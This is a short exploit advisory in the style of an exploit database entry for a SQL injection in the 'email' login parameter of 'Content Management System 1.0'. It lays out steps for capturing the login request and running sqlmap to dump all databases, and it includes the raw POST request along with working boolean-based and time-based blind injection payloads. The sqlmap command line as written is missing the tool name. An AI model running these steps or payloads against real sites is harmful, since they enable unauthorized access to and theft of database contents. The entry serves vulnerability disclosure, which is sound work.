# Exploit Title: Content Management System 1.0 - 'email' SQL Injection
# Exploit Author: Zhayi (Zeo)
# Date: 2020-12-14
# Vendor Homepage:
# Software Link:
# Affected Version: Version 1
# Category: Web Application
# Tested on: WINDOWS 10

Step 1. Capture the request of the ""
page in burpsute
Step 2. Save POST the packet
Step 3. Run sqlmap on request file using command "python3 -r
request.txt --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast
--dbs "
Step 4. This will inject successfully and you will have an information
disclosure of all databases contents

POST the packet
POST /ajax.php?action=login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Content-Length: 61
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=ltiafgjrnml0d8kqe58gcsk1v3
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:'and'p'='p' AND 9108=9108 AND

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:'and'p'='p' AND (SELECT 3864 FROM
(SELECT(SLEEP(5)))pNJR) AND 'hxyZ'='hxyZ&password=admin123